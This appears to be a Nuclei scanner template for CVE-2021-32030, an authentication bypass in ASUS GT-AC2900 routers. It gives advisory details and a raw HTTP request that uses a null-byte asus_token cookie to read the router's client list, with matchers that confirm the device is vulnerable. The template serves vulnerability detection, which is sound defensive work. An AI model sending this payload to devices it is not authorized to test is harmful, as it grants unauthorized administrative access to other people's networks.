id: CVE-2021-32030

info:
  name: ASUS GT-AC2900 - Authentication Bypass
  author: gy741
  severity: critical
  description: "ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator application. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations."
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify configurations, intercept network traffic, or launch further attacks.
  remediation: |
    Apply the latest firmware update provided by ASUS to fix the authentication bypass vulnerability (CVE-2021-32030).
  reference:
    - https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32030
    - https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md
    - https://www.asus.com/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AC2900/HelpDesk_BIOS/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-32030
    cwe-id: CWE-287
    epss-score: 0.99351
    epss-percentile: 0.99934
    cpe: cpe:2.3:o:asus:gt-ac2900_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: asus
    product: gt-ac2900_firmware
  tags: cve2021,cve,asus,auth-bypass,router,kev,vkev,vuln

http:
  - raw:
      - |
        GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
        Host: {{Hostname}}
        User-Agent: asusrouter--
        Referer: {{BaseURL}}
        Cookie: asus_token=\0Invalid; clickedItem_tab=0

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: word
        words:
          - "get_cfg_clientlist"
          - "alias"
          - "model_name"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204db78208e8498ea2d9d51d05b89a2189f79415049d8c6f91eb8c07df3170940b022100e8152f8df623e581f6f944dd3fc3a4d53376610106f9c2f25ea55e40b328af07:922c64590222798bb761d5b6d8e72950